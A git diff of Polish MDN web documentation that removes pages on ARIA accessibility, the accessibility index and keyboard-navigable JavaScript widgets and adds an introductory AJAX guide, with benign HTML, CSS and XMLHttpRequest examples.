Webkit wspiera wiele rozszerzeń dedykowanych CSS opatrzonych prefiksem -webkit. Wszystkie właściwości opatrzone prefiksem -webkit działają również z prefiksem -apple.

+ +

Niektóre z tych właściwości zostały zawarte w szkicu specyfikacji CSS w celu włączenia do ostatecznej rekomendacji, ale są one jeszcze eksperymentalne. Niektóre z tych niestandardowych właściwości nie wchodzą w skład linii standardowo obowiązującej.

+ +

Jednostki z prefiksem WebKit obowiązującego standardu

+ +
+

A – C

+ + + +

F

+ + + +

G

+ + + +

H – O

+ + + +

M

+ + + +

P

+ + + +

Q – Z

+ + +
+ +

Jednostki z prefiksem WebKit z odpowiednikiem bez prefiksu

+ +

W celu maksymalizacji kompatybilności z Twoim CSS powinienneś/powinnaś stosować właściwości standardu bez prefiksu zamiast opcji z prefiksem. Poniżej znajduje się lista wszystkich wariantów:

+ +
+

A

+ + + +

B

+ + + +

C – N

+ + + +

O – S

+ + + +

T – Z

+ + +
+ +

Firmowe jednostki z prefiksem WebKit (nie do używania na stronach internetowych)

+ +
+

A

+ + + +

B

+ + + +

C

+ + + +

D E

+ + + +

F

+ + + +

G

+ + + +

H – K

+ + + +

L

+ + + +

M

+ + + +

N

+ + + +

O

+ + + +

P Q

+ + + +

R

+ + + +

S

+ + + +

T – Z

+ + +
+ +

Zobacz również

+ + diff --git "a/files/pl/web/dost\304\231pno\305\233\304\207/an_overview_of_accessible_web_applications_and_widgets/index.html" "b/files/pl/web/dost\304\231pno\305\233\304\207/an_overview_of_accessible_web_applications_and_widgets/index.html" deleted file mode 100644 index 06d9978f8a..0000000000 --- "a/files/pl/web/dost\304\231pno\305\233\304\207/an_overview_of_accessible_web_applications_and_widgets/index.html" +++ /dev/null @@ -1,165 +0,0 @@ ---- -title: An overview of accessible web applications and widgets -slug: Web/Dostępność/An_overview_of_accessible_web_applications_and_widgets -translation_of: Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets ---- -

Sieć się zmienia. Statyczne witryny oparte na stronach są coraz częściej zastępowane dynamicznymi aplikacjami internetowymi w stylu aplikacji pulpitowych, które intensywnie wykorzystują JavaScript i AJAX. Projektanci tworzą niesamowite nowe widżety i kontrolki całkowicie za pomocą kombinacji JavaScript, HTML i CSS. Ta zmiana może znacznie poprawić responsywność i użyteczność internetu, ale wielu użytkowników jest zagrożonych wykluczeniem z powodu luk w dostępności. JavaScript tradycyjnie cieszy się reputacją niedostępności dla użytkowników technologii pomocniczych, takich jak czytniki ekranu, ale istnieją teraz sposoby na tworzenie dynamicznych interfejsów internetowych, które są dostępne dla szerokiego grona użytkowników.

- -

Problem

- -

Większość zestawów narzędzi JavaScript oferuje bibliotekę widżetów po stronie klienta, które naśladują zachowanie znanych interfejsów pulpitu. Suwaki, paski menu, widoki list plików i wiele więcej można zbudować za pomocą kombinacji JavaScript, CSS i HTML. Ponieważ specyfikacja HTML 4 nie zapewnia wbudowanych znaczników, które semantycznie opisują tego rodzaju widżety, programiści zazwyczaj używają ogólnych elementów, takich jak <div> i <span>. Skutkuje to widżetem, który wygląda jak jego odpowiednik na pulpicie, jednak zwykle nie ma wystarczającej ilości znaczników semantycznych do wykorzystania przez technologię wspomagającą. Dynamiczne treści na stronie internetowej mogą być szczególnie problematyczne dla użytkowników, którzy z jakiegoś powodu nie są w stanie wyświetlić ekranu. Informacje giełdowe, aktualizacje kanałów live twitter, wskaźniki postępu i podobne treści modyfikują DOM w taki sposób, że technologia wspomagająca (AT) może nie być świadoma. Wtedy z pomocą wkracza ARIA.

- -

Przykład 1: Znaczniki dla widżetów kart zbudowanych bez etykietowania ARIA. W znacznikach nie ma informacji opisujących formę i funkcję widżetu.

- -
<!-- To jest widget zakładek. Jak możesz to rozpoznać, patrząc tylko na znaczniki? -->
-<ol>
-  <li id="ch1Tab">
-    <a href="#cz1Panel">Część 1</a>
-  </li>
-  <li id="ch2Tab">
-    <a href="#cz2Panel">Część 2</a>
-  </li>
-  <li id="quizTab">
-    <a href="#quizPanel">Quiz</a>
-  </li>
-</ol>
-
-<div>
-  <div id="ch1Panel">Zawartość części nr 1 </div>
-  <div id="ch2Panel">Zawartość częśći nr 2</div>
-  <div id="quizPanel">Zawartość Quizu</div>
-</div>
- -

Przykład 2: Sposób wizualnego przedstawienia widżetów karty. Użytkownicy mogą rozpoznać to wizualnie, jednak nie ma semantyki do odczytu maszynowego dla technologii wspomagającej.
- Screenshot of the tabs widget

- -

ARIA

- -

WAI-ARIA, Accessible Rich Internet Applications specyfikacja wywodząca się od W3C Web Accessibility Initiative, umożliwia dodanie brakującej semantyki potrzebnej w przypadku technologii pomocniczych, takich jak czytniki ekranu. ARIA umożliwia programiście bardziej szczegółowe opisywanie tych widżetów poprzez dodawanie specjalnych atrybutów do znaczników. Zaprojektowany, aby wypełnić lukę pomiędzy standardowymi znacznikami HTML a formantami w stylu pulpitu znajdującymi się w dynamicznych aplikacjach internetowych, ARIA udostępnia role i stany, które opisują zachowanie najbardziej znanych widgetów interfejsu użytkownika.

- -

Specyfikacja ARIA jest podzielona na trzy różne typy atrybutów: role, stany i właściwości. Role opisują widżety, które nie są w inny sposób dostępne w HTML 4, takie jak suwaki, paski menu, karty i okna dialogowe. Właściwości opisują charakterystykę tych widgetów, na przykład, czy są one przeciągalne, mają wymagany element lub czy powiązane jest z nim wyskakujące okienko. Stany opisują bieżący stan interakcji elementu, informując technologię asystującą, jeśli jest zajęta, wyłączona, wybrana lub ukryta.

- -

Atrybuty ARIA mają być interpretowane automatycznie przez przeglądarkę i tłumaczone na natywne API systemu operacyjnego. Kiedy ARIA jest obecna, technologie asystujące są w stanie rozpoznać i sterować niestandardowymi kontrolkami JavaScript w taki sam sposób, jak robią to z odpowiednikami komputerów. Może to zapewnić znacznie bardziej spójny interfejs użytkownika, niż było to możliwe w poprzedniej generacji aplikacji internetowych, ponieważ użytkownicy technologii pomocniczych mogą wykorzystać całą swoją wiedzę na temat działania aplikacji komputerowych podczas korzystania z aplikacji internetowych.

- -

Przykład 3: Znaczniki dla widżetów kart z dodanymi atrybutami ARIA.

- -
<!-- Dodaliśmy atrybut "role" aby opisać listę kart i poszczególne karty. -->
-<ol role="tablist">
-  <li id="ch1Tab" role="tab">
-    <a href="#ch1Panel">Część 1</a>
-  </li>
-  <li id="ch2Tab" role="tab">
-    <a href="#ch2Panel">Część 2</a>
-  </li>
-  <li id="quizTab" role="tab">
-    <a href="#quizPanel">Quiz</a>
-  </li>
-</ol>
-
-<div>
-  <!-- Zwróć uwagę na rolę i atrybuty "aria-labelledby", które dodaliśmy do opisu tych paneli. -->
-  <div id="ch1Panel" role="tabpanel" aria-labelledby="ch1Tab">Zawartość części nr 1</div>
-  <div id="ch2Panel" role="tabpanel" aria-labelledby="ch2Tab">Zawartość części nr 2</div>
-  <div id="quizPanel" role="tabpanel" aria-labelledby="quizTab">Zawartość Quizu</div>
-</div>
-
- -

ARIA jest obsługiwana w najnowszych wersjach wszystkich głównych przeglądarek, w tym Firefox, Safari, Opera, Chrome i Internet Explorer. Wiele technologii wspomagających, takich jak open source NVDA i czytniki ekranu Orca, również obsługuje ARIA. Coraz częściej biblioteki widgetów JavaScript, takie jak jQuery UI, YUI, Google Closure i Dojo Dijit, również zawierają znaczniki ARIA.

- -

Zmiany prezentacyjne

- -

Dynamiczne zmiany prezentacyjne obejmują używanie CSS do zmiany wyglądu treści (np. Czerwone obramowanie wokół nieprawidłowych danych lub zmiana koloru tła zaznaczonego pola wyboru), a także pokazywanie lub ukrywanie treści.

- -

Zmiany stanu

- -

ARIA udostępnia atrybuty do deklarowania bieżącego stanu widgetu interfejsu użytkownika. Przykłady obejmują (ale z pewnością nie są ograniczone do):

- - - -

(Pełna lista stanów: ARIA list of states and properties.)

- -

Programiści powinni używać stanów ARIA do wskazania stanu elementów widgetu interfejsu użytkownika i używać selektorów atrybutów CSS do zmiany wyglądu wizualnego na podstawie zmian stanu (zamiast używania skryptu do zmiany nazwy klasy na elemencie).

- -

Zmiany widoczności

- -

Gdy zmieni się widoczność zawartości (tzn. Element jest ukryty lub pokazany), programiści powinni zmienić wartość właściwości aria-hidden. Opisane powyżej techniki powinny być używane do deklarowania CSS do wizualnego ukrywania elementu za pomocą display:none.

- -

Przykład przedstawia prosty formularz internetowy z etykietami narzędzi zawierającymi instrukcje powiązane z polami wprowadzania.

- -

Przykład kodu HTML z atrybutem aria-hidden ustawionym na wartość true.

- -
<div class="text">
-    <label id="tp1-label" for="first">Pierwsze imię:</label>
-    <input type="text" id="first" name="first" size="20"
-           aria-labelledby="tp1-label"
-           aria-describedby="tp1"
-           aria-required="false" />
-    <div id="tp1" class="tooltip"
-         role="tooltip"
-         aria-hidden="true">Twoje pierwsze imię jest opcjonalne</div>
-</div>
-
- -

Poniżej kod CSS dla powyższego przykładu.
- Zwróć uwagę na to że nie użyto typowego selektora klasy, lecz selektora atrybutu  aria-hidden ustawionego na wartość "true".

- -
div.tooltip[aria-hidden="true"] {
-  display: none;
-}
-
- -

Kod JavaScript dla powyższego przykładu, aktualizujący atrybut  aria-hidden.

- -
var showTip = function(el) {
-  el.setAttribute('aria-hidden', 'false');
-}
- -

Zmiany ról

- -
W budowie
- -

ARIA pozwala programistom zadeklarować rolę semantyczną dla elementu, który w przeciwnym razie oferuje niepoprawną lub brak semantyki. Na przykład, gdy do utworzenia menu jest używana lista nie numerowana {{ HTMLElement("ul") }} powinien otrzymać atrybut role zdefiniowany jako menubar a każdy element listy {{ HTMLElement("li") }} powinien otrzymać atrybut role o wartości menuitem.

- -

Atrybut role nie powinien być zmieniany. Zamiast tego usuń oryginalny element i zastąp go elementem z nową wartością atrybutu role.

- -

Rozważmy przykład widgetu "edycji bezpośredniej": komponent który pozwala użytkownikom edytować fragment tekstu na miejscu, bez przełączania kontekstów . Ten komponent ma tryb "widok", gdzie tekst nie jest edytowalny, ale można go aktywować, oraz tryb "edycja", w którym tekst jest edytowalny. Deweloper może ulec pokusie, aby zaimplementować tryb "widok" używając elementu  {{ HTMLElement("input") }} tylko do odczytu, i ustawić jego ARIA atrybut role na wartość button, następnie po przęłączeniu w tryb "edycja" uczynić element zapisywalnym i usunąć atrybut w tym trybie atrybut role (ponieważ element {{ HTMLElement("input") }} ma własną semantykę ról).

- -

Nie rób tego. Zaimplementuj tryb widoku przy użyciu zupełnie innego elementu, takiego jak {{ HTMLElement("div") }} albo {{ HTMLElement("span") }} z atrybutem role o wartości button, a tryb « edycja »  z użyciem elementu  {{ HTMLElement("input") }}.

- -

Asynchroniczna zmiana trści

- -
W budowie. Zobacz też Live Regions
- -

Nawigacja klawiaturą

- -

Często programiści pomijają obsługę klawiatury podczas tworzenia niestandardowych widżetów. Aby być dostępnym dla wielu użytkowników, wszystkie funkcje aplikacji internetowej lub widżetu powinny być sterowane za pomocą klawiatury, bez potrzeby korzystania z myszy. W praktyce zwykle wiąże się to z konwencjami obsługiwanymi przez podobne widżety na pulpicie, w pełni korzystając z klawiszy Tab, Enter, Spacja i klawiszy strzałek.

- -

Tradycyjnie nawigacja po klawiaturze w sieci została ograniczona do klawisza Tab. Użytkownik naciśnie klawisz Tab, aby skupić się na każdym łączu, przycisku lub formularzu na stronie w liniowej kolejności, używając Shift-Tab, aby nawigować wstecz. Jest to jednowymiarowa forma nawigacji do przodu i do tyłu, jeden element na raz. Na dość gęstych stronach użytkownik klawiatury często musi kilkakrotnie nacisnąć klawisz Tab przed uzyskaniem dostępu do potrzebnej sekcji. Wdrożenie konwencji klawiatury w stylu komputera w Internecie może znacząco przyspieszyć nawigację dla wielu użytkowników.

- -

Oto podsumowanie, jak powinna działać nawigacja klawiaturowa w aplikacji internetowej obsługującej ARIA:

- - - -

Tak więc, dla przykładu widżetów zakładki powyżej, użytkownik powinien móc nawigować do kontenera widgetu (<ol> w naszym znaczniku) i wychodzić za pomocą klawiszy Tab i Shift-Tab. Po ustawieniu nawigacji klawiaturą w kontenerze klawisze strzałek powinny umożliwiać użytkownikowi nawigację między kartami (elementy <li>)Konwencje różnią się w zależności od platformy. W systemie Windows następna karta powinna być automatycznie aktywowana, gdy użytkownik naciśnie klawisze strzałek. W systemie Mac OS X użytkownik może nacisnąć klawisz Enter lub klawisz spacji, aby aktywować następną kartę. Szczegółowy samouczek do tworzenia Keyboard-navigable JavaScript widgets opisuje sposób implementacji tego zachowania za pomocą JavaScript.

- -

Aby uzyskać więcej informacji na temat konwencji nawigacyjnych na klawiaturze w stylu komputerowym, należy zapoznać się z obszernym opisem DHTML style guideOpis zawiera przegląd nawigacji klawiaturowej dla każdego typu widżetu obsługiwanego przez ARIA. W3C oferuje również pomocne ARIA Best Practices dokument zawiera nawigację klawiaturową i konwencje skrótów dla różnych widżetów

- -

Zobacz także

- - diff --git "a/files/pl/web/dost\304\231pno\305\233\304\207/index.html" "b/files/pl/web/dost\304\231pno\305\233\304\207/index.html" deleted file mode 100644 index 801f0d62ac..0000000000 --- "a/files/pl/web/dost\304\231pno\305\233\304\207/index.html" +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Dostępność -slug: Web/Dostępność -tags: - - Dostępność -translation_of: Web/Accessibility ---- -
-

"Dostępność (ang. accessibility) - nauka oraz zbiór standardów opisujących metody i wytyczne tworzenia serwisów WWW w sposób umożliwiający wygodny dostęp jak najszerszemu gronu odbiorców. Dostępne serwisy mogą być bez trudu wykorzystywane przez osoby niewidzące, niedowidzące, użytkowników mniej popularnych wyszukiwarek czy platform mobilnych." Artykuł o Dostępności na Wikipedii

-
- - - - - - - - -
-

Przewodniki

- -
-
Czym jest dostępność?
-
Niniejszy artykuł stanowi wstęp do modułu i jednocześnie obszerną odpowiedź na pytanie, czym właściwie jest dostępność - w tym jakie grupy ludzi powinniśmy brać pod uwagę i dlaczego, jakich narzędzi używają oni do interakcji z siecią oraz jak uczynić dostęność częścią naszej organizacji zadań.
-
- -

Dokumentacja

- -
-
Kurs Usability
-
Materiały opisujące zagadnienia związane z użytecznością, dostępnością oraz efektywnością serwisów WWW.
-
- -
-
W głąb dostępności
-
Niniejsza książka odpowiada na dwa pytania. Pierwsze brzmi: "Dlaczego powinienem uczynić swoją stronę WWW bardziej dostępną?" Jeżeli nie masz strony w sieci, ta książka nie jest dla Ciebie. Drugie pytanie to "Jak mogę uczynić moją stronę bardziej dostępną?" Jeżeli nie zostaniesz przekonany przez odpowiedź na pierwsze pytanie, nie będziesz zainteresowany odpowiedzią na drugie.
-
- -
-
Web Accessibility po polsku
-
Dostępność w projektowaniu stron internetowych oznacza tworzenie takich dokumentów, które są czytelne i funkcjonalne dla wszystkich użytkowników niezależnie od ich fizycznych ograniczeń, sytuacji w jakiej się znajdują, a także używanego oprogramowania oraz sprzętu.
-
- -
-
Software Accessibility Today
-
The accessibility of computer software has seen drastic improvements over the past two decades. This article reviews the progress and technology as it has developed.
-
- -
-
Key-navigable custom DHTML widgets, in Mozilla and IE
-
Until now, web developers who want to make their styled <div> and <span> based widgets keyboard accessible have lacked the proper techniques. Keyboard accessibility is part of the minimum accessibility requirements of which any web developer should be aware.
-
- -
-
Accessible Web Page Authoring
-
A handy web accessibility checklist, from IBM.
-
- -


- Pokaż wszystkie...

-
-

Społeczność

- - - -

Narzędzia

- - - -

Pokaż wszystkie...

- -

Powiązane tematy

- -
-
Programowanie WWW, Standardy WWW, XUL
-
- - -
- -

 

- -

-

Categories

- - -

Interwiki Language Links

diff --git "a/files/pl/web/dost\304\231pno\305\233\304\207/keyboard-navigable_javascript_widgets/index.html" "b/files/pl/web/dost\304\231pno\305\233\304\207/keyboard-navigable_javascript_widgets/index.html" deleted file mode 100644 index 3dd7d0f983..0000000000 --- "a/files/pl/web/dost\304\231pno\305\233\304\207/keyboard-navigable_javascript_widgets/index.html" +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: Keyboard-navigable JavaScript widgets -slug: Web/Dostępność/Keyboard-navigable_JavaScript_widgets -tags: - - Accessibility - - DOM - - Navigation -translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets ---- -

Overview

- -

Web applications often use JavaScript to mimic desktop widgets such as menus, tree views, rich text fields, and tab panels. These widgets are typically composed of {{ HTMLElement("div") }} and {{ HTMLElement("span") }} elements that do not, by nature, offer the same keyboard functionality that their desktop counterparts do. This document describes techniques to make JavaScript widgets accessible with the keyboard.

- -

Using tabindex

- -

By default, when people use the tab key to browse a webpage, only interactive elements (like links, form controls) get focused. With the tabindex global attribute, authors can make other elements focusable, too. When set to 0, the element becomes focusable by keyboard and script. When set to -1, the element becomes focusable by script, but it does not become part of the keyboard focus order.

- -

The order in which elements gain focus when using a keyboard, is the source order by default. In exceptional circumstances, authors may want to redefine the order. To do this, authors can set tabindex to any positive number.

- -
-

Warning: avoid using positive values for tabindex.  Elements with a positive tabindex are put before the default interactive elements on the page, which means page authors will have to set (and maintain) tabindex values for all focusable elements on the page whenever they use one or more positive values for tabindex.

-
- -

The following table describes tabindex behavior in modern browsers:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
tabindex attributeFocusable with mouse or JavaScript via element.focus()Tab navigable
not presentFollows the platform convention of the element (yes for form controls, links, etc.).Follows the platform convention of the element.
Negative (i.e. tabindex="-1")YesNo; author must focus the element with focus() in response to arrow or other key presses.
Zero (i.e. tabindex="0")YesIn tab order relative to element's position in document (note that interactive elements like {{ HTMLElement("a") }} have this behavior by default, they don't need the attribute).
Positive (e.g. tabindex="33")Yestabindex value determines where this element is positioned in the tab order: smaller values will position elements earlier in the tab order than larger values (for example, tabindex="7" will be positioned before tabindex="11").
- -

Non-native controls

- -

Native HTML elements that are interactive, like {{ HTMLElement("a") }}, {{ HTMLElement("input") }} and {{ HTMLElement("select") }}, are already accessible by keyboards, so to use one of them is the fastest path to make components work with keyboards.

- -

Authors can also make a {{ HTMLElement("div") }} or {{ HTMLElement("span") }} keyboard accessible by adding a tabindex of 0. This is particularly useful for components that use interactive elements that do not exist in HTML.

- -

Grouping controls

- -

For grouping widgets such as menus, tablists, grids, or tree views, the parent element should be in the tab order (tabindex="0"), and each descendent choice/tab/cell/row should be removed from the tab order (tabindex="-1"). Users should be able to navigate the descendent elements using arrow keys. (For a full description of the keyboard support that is normally expected for typical widgets, see the WAI-ARIA Authoring Practices.)

- -

The example below shows this technique used with a nested menu control. Once keyboard focus lands on the containing {{ HTMLElement("ul") }} element, the JavaScript developer must programmatically manage focus and respond to arrow keys. For techniques for managing focus within widgets, see "Managing focus inside groups" below.

- -

Example 2: A menu control using tabindex to control keyboard access

- -
<ul id="mb1" tabindex="0">
-  <li id="mb1_menu1" tabindex="-1"> Font
-    <ul id="fontMenu" title="Font" tabindex="-1">
-      <li id="sans-serif" tabindex="-1">Sans-serif</li>
-      <li id="serif" tabindex="-1">Serif</li>
-      <li id="monospace" tabindex="-1">Monospace</li>
-      <li id="fantasy" tabindex="-1">Fantasy</li>
-    </ul>
-  </li>
-  <li id="mb1_menu2" tabindex="-1"> Style
-    <ul id="styleMenu" title="Style" tabindex="-1">
-      <li id="italic" tabindex="-1">Italics</li>
-      <li id="bold" tabindex="-1">Bold</li>
-      <li id="underline" tabindex="-1">Underlined</li>
-    </ul>
-  </li>
-  <li id="mb1_menu3" tabindex="-1"> Justification
-    <ul id="justificationMenu" title="Justication" tabindex="-1">
-      <li id="left" tabindex="-1">Left</li>
-      <li id="center" tabindex="-1">Centered</li>
-      <li id="right" tabindex="-1">Right</li>
-      <li id="justify" tabindex="-1">Justify</li>
-    </ul>
-  </li>
-</ul>
- -

Disabled controls

- -

When a custom control becomes disabled, remove it from the tab order by setting tabindex="-1". Note that disabled items within a grouped widget (such as menu items in a menu) should remain navigable using arrow keys.

- -

Managing focus inside groups

- -

When a user tabs away from a widget and returns, focus should return to the specific element that had focus, for example, the tree item or grid cell. There are two techniques for accomplishing this:

- -
    -
  1. Roving tabindex: programmatically moving focus
  2. -
  3. aria-activedescendant: managing a 'virtual' focus
  4. -
- -

Technique 1: Roving tabindex

- -

Setting the tabindex of the focused element to "0" ensures that if the user tabs away from the widget and then returns, the selected item within the group retains focus. Note that updating the tabindex to "0" requires also updating the previously selected item to tabindex="-1". This technique involves programmatically moving focus in response to key events and updating the tabindex to reflect the currently focused item. To do this:

- -

Bind a key down handler to each element in the group, and when an arrow key is used to move to another element:

- -
    -
  1. programmatically apply focus to the new element,
  2. -
  3. update the tabindex of the focused element to "0", and
  4. -
  5. update the tabindex of the previously focused element to "-1".
  6. -
- -

Here's an example of a WAI-ARIA tree view using this technique.

- -
Tips
- -
Use element.focus() to set focus
- -

Do not use createEvent(), initEvent() and dispatchEvent() to send focus to an element. DOM focus events are considered informational only: generated by the system after something is focused, but not actually used to set focus. Use element.focus() instead.

- -
Use onfocus to track the current focus
- -

Don't assume that all focus changes will come via key and mouse events: assistive technologies such as screen readers can set the focus to any focusable element. Track focus using onfocus and onblur instead.

- -

onfocus and onblur can now be used with every element. There is no standard DOM interface to get the current document focus. If you want to track the focus status, you can use the document.activeElement to get the active element. You can also use document.hasFocus to make sure if the current document focus. 

- -

Technique 2: aria-activedescendant

- -

This technique involves binding a single event handler to the container widget and using the aria-activedescendant to track a "virtual" focus. (For more information about ARIA, see this overview of accessible web applications and widgets.)

- -

The aria-activedescendant property identifies the ID of the descendent element that currently has the virtual focus. The event handler on the container must respond to key and mouse events by updating the value of aria-activedescendant and ensuring that the current item is styled appropriately (for example, with a border or background color). See the source code of this ARIA radiogroup example for a direct illustration of how this works.

- -

General Guidelines

- -

Use onkeydown to trap key events, not onkeypress

- -

IE will not fire keypress events for non-alphanumeric keys. Use onkeydown instead.

- -

Ensure that keyboard and mouse produce the same experience

- -

To ensure that the user experience is consistent regardless of input device, keyboard and mouse event handlers should share code where appropriate. For example, the code that updates the tabindex or the styling when users navigate using the arrow keys should also be used by mouse click handlers to produce the same changes.

- -

Ensure that the keyboard can be used to activate element

- -

To ensure that the keyboard can be used to activate elements, any handlers bound to mouse events should also be bound to keyboard events. For example, to ensure that the Enter key will activate an element, if you have an onclick="doSomething()", you should bind doSomething() to the key down event as well: onkeydown="return event.keyCode != 13 || doSomething();".

- -

Always draw the focus for tabindex="-1" items and elements that receive focus programatically

- -

IE will not automatically draw the focus outline for items that programatically receive focus. Choose between changing the background color via something like this.style.backgroundColor = "gray"; or add a dotted border via this.style.border = "1px dotted invert". In the dotted border case you will need to make sure those elements have an invisible 1px border to start with, so that the element doesn't grow when the border style is applied (borders take up space, and IE doesn't implement CSS outlines).

- -

Prevent used key events from performing browser functions

- -

If your widget handles a key event, prevent the browser from also handling it (for example, scrolling in response to the arrow keys) by using your event handler's return code. If your event handler returns false, the event will not be propagated beyond your handler.

- -

For example:

- -
<span tabindex="-1" onkeydown="return handleKeyDown();">
- -

If handleKeyDown() returns false, the event will be consumed, preventing the browser from performing any action based on the keystroke.

- -

Don't rely on consistent behavior for key repeat, at this point

- -

Unfortunately onkeydown may or may not repeat depending on what browser and OS you're running on.

diff --git a/files/pl/web/guide/ajax/getting_started/index.html b/files/pl/web/guide/ajax/getting_started/index.html new file mode 100644 index 0000000000..1e4a4ec491 --- /dev/null +++ b/files/pl/web/guide/ajax/getting_started/index.html @@ -0,0 +1,221 @@ +--- +title: Na początek +slug: Web/Guide/AJAX/Na_początek +tags: + - AJAX + - Wszystkie_kategorie +translation_of: Web/Guide/AJAX/Getting_Started +--- +

+

Ten artykuł pozwoli Ci poznać podstawy technologii AJAX oraz poda dwa proste, gotowe do użycia przykłady. +

+

Czym jest AJAX?

+

AJAX (Asynchronous JavaScript and XML) jest niedawno ukutą nazwą na dwie potężne cechy przeglądarek WWW, które, choć dostępne od lat, były pomijane przez wielu autorów stron, aż do niedawna, gdy na rynku ukazały się takie aplikacje, jak Gmail, Google Suggest i Google Maps. +

Dzięki tym cechom możesz: +

+ +

Termin AJAX jest akronimem. A pochodzi od "asynchroniczny", co znaczy, że możesz wysyłać zapytania HTTP do serwera i robić inne rzeczy w trakcie oczekiwania na odpowiedź. JA pochodzi od "JavaScript", a X pochodzi od "XML". +

+

Krok 1 – powiedz "Poproszę!", czyli jak wykonać zapytanie HTTP

+

W celu stworzenia zapytania HTTP przy użyciu JavaScriptu, potrzebujesz instancji klasy, która posiada żądaną funkcjonalność. Taka klasa została po raz pierwszy wprowadzona w Internet Explorerze, jako obiekt ActiveX, pod nazwą XMLHTTP. Później Mozilla, Safari i inne przeglądarki również dodały taki obiekt, implementując klasę XMLHttpRequest, która obsługuje metody i właściwości oryginalnego obiektu ActiveX. +

W rezultacie, w celu stworzenia międzyprzeglądarkowej instancji (obiektu) potrzebnej nam klasy, należy wpisać: +

+
if (window.XMLHttpRequest) { // Mozilla, Safari, Opera ...
+    http_request = new XMLHttpRequest();
+} else if (window.ActiveXObject) { // IE
+    http_request = new ActiveXObject("Microsoft.XMLHTTP");
+}
+
+

(Na potrzeby przykładu powyższy fragment jest lekko uproszczoną wersją kodu używanego do stworzenia instancji XMLHTTP. Bardziej "życiowy" przykład można znaleźć w punkcie 3. tego artykułu). +

Niektóre wersje przeglądarek opartych na technologii Mozilli nie zadziałają poprawnie, jeżeli odpowiedź z serwera nie będzie opisana XML-owym nagłówkiem mime-type. Aby rozwiązać ten problem, można użyć dodatkowej metody do nadpisania nagłówka wysyłanego przez serwer, jeśli nie jest to text/xml. +

+
http_request = new XMLHttpRequest();
+http_request.overrideMimeType('text/xml');
+
+

Następnie należy się zdecydować, co chcesz zrobić po otrzymaniu od serwera odpowiedzi na Twoje zapytanie. Na tym etapie wystarczy powiedzieć obiektowi zapytania HTTP, która funkcja JavaScript będzie opracowywała wynik. Można to uzyskać poprzez ustawienie właściwości onreadystatechange obiektu funkcji JavaScript, której będziesz używał, na przykład: +

http_request.onreadystatechange = nameOfTheFunction; +

Zwróć uwagę, że nie ma żadnych nawiasów za nazwą funkcji i nie są przekazywane żadne parametry, ponieważ chcemy przypisać referencję do tej funkcji, a nie wywołać ją. Można także, zamiast podawać nazwę funkcji, użyć techniki JavaScript do definiowania funkcji w locie (zwanej "funkcją anonimową") i określić akcje, które przetworzą wynik natychmiast, jak na przykład: +

+
http_request.onreadystatechange = function(){
+    // instrukcje
+};
+
+

Następnie, kiedy już zostało zadeklarowane, co będzie się działo zaraz po odebraniu odpowiedzi, należy wykonać zapytanie. W tym celu należy wywołać metody open() i send() klasy zapytania HTTP, tak jak na poniższym przykładzie: +

+
http_request.open('GET', 'http://www.example.org/some.file', true);
+http_request.send(null);
+
+ + + +

Parametr metody send() może być dowolną daną, którą chcesz wysłać do serwera w przypadku użycia metody POST. Dane powinny być umieszczone w formie używanej przez ciągi zapytań, czyli: +

name=value&anothername=othervalue&so=on +

Należy pamiętać o zakodowaniu każdej wysyłanej wartości funkcją encodeURIComponent. Na przykład jeśli w środku, jakiegoś przesyłanego łańcucha znajdzie się znak & to "obetnie" nasz łańcuch. Opis tej funkcji w dokumentcji zawiera bardziej szczegółowe informacje. +

Zwróć uwagę na to, że jeśli chcesz wysłać dane metodą POST, musisz zmienić typ MIME swojego zapytania, używając składni: +

+
http_request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+
+

W przeciwnym wypadku, serwer odrzuci dane wysłane metodą POST. +

+

Krok 2 – "Voilà!", czyli obsługa odpowiedzi serwera

+

Pamiętasz, że w trakcie wysyłania zapytania została podana nazwa funkcji JavaScript, która została przygotowana do obsługi odpowiedzi? +

http_request.onreadystatechange = nazwaFunkcji; +

Zobaczmy, co ta funkcja powinna zrobić. Najpierw musi ona sprawdzić stan zapytania. Jeżeli status ma wartość 4, oznacza to, że udało się pobrać pełną odpowiedź z serwera i można kontynuować jej przetwarzanie. +

+
if (http_request.readyState == 4) {
+    // wszystko jest OK, odpowiedź została odebrana
+} else {
+    // ciągle nie gotowe
+}
+
+

Możliwe są następujące wartości readyState: +

+ +

(Źródło) +

Następnie należy sprawdzić kod odpowiedzi serwera HTTP. Wszystkie możliwe kody są opisane na stronie W3C. W tym przypadku interesuje nas tylko odpowiedź 200 OK. +

+
if (http_request.status == 200) {
+    // świetnie!!
+} else {
+    // wystąpił jakiś problem z zapytaniem,
+    // na przykład odpowiedzią mogło być 404 (Nie odnaleziono)
+    // lub 500 (Wewnętrzny błąd serwera)
+}
+
+

Teraz, kiedy został już sprawdzony stan zapytania i kod statusu odpowiedzi, możesz zrobić co zechcesz z danymi otrzymanymi z serwera. Masz dwie możliwości dostania się do danych: +

+ +

Krok 3 – "Do dzieła!" - Prosty przykład

+

Stwórzmy teraz proste zapytanie HTTP. JavaScript odpyta serwer o dokument HTML test.html, który zawiera tekst "Jestem testem.", a następnie wyświetlimy ten tekst przy użyciu funkcji alert(). +

+
<script type="text/javascript" language="javascript">
+
+    var http_request = false;
+
+    function makeRequest(url) {
+
+        http_request = false;
+
+        if (window.XMLHttpRequest) { // Mozilla, Safari,...
+            http_request = new XMLHttpRequest();
+            if (http_request.overrideMimeType) {
+                http_request.overrideMimeType('text/xml');
+                // Przeczytaj o tym wierszu poniżej
+            }
+        } else if (window.ActiveXObject) { // IE
+            try {
+                http_request = new ActiveXObject("Msxml2.XMLHTTP");
+            } catch (e) {
+                try {
+                    http_request = new ActiveXObject("Microsoft.XMLHTTP");
+                } catch (e) {}
+            }
+        }
+
+        if (!http_request) {
+            alert('Poddaję się :( Nie mogę stworzyć instancji obiektu XMLHTTP');
+            return false;
+        }
+        http_request.onreadystatechange = function() { alertContents(http_request); };
+        http_request.open('GET', url, true);
+        http_request.send(null);
+
+    }
+
+    function alertContents(http_request) {
+
+        if (http_request.readyState == 4) {
+            if (http_request.status == 200) {
+                alert(http_request.responseText);
+            } else {
+                alert('Wystąpił problem z zapytaniem.');
+            }
+        }
+
+    }
+</script>
+<span
+    style="cursor: pointer; text-decoration: underline"
+    onclick="makeRequest('test.html')">
+        Odpytaj
+</span>
+
+

W tym przykładzie: +

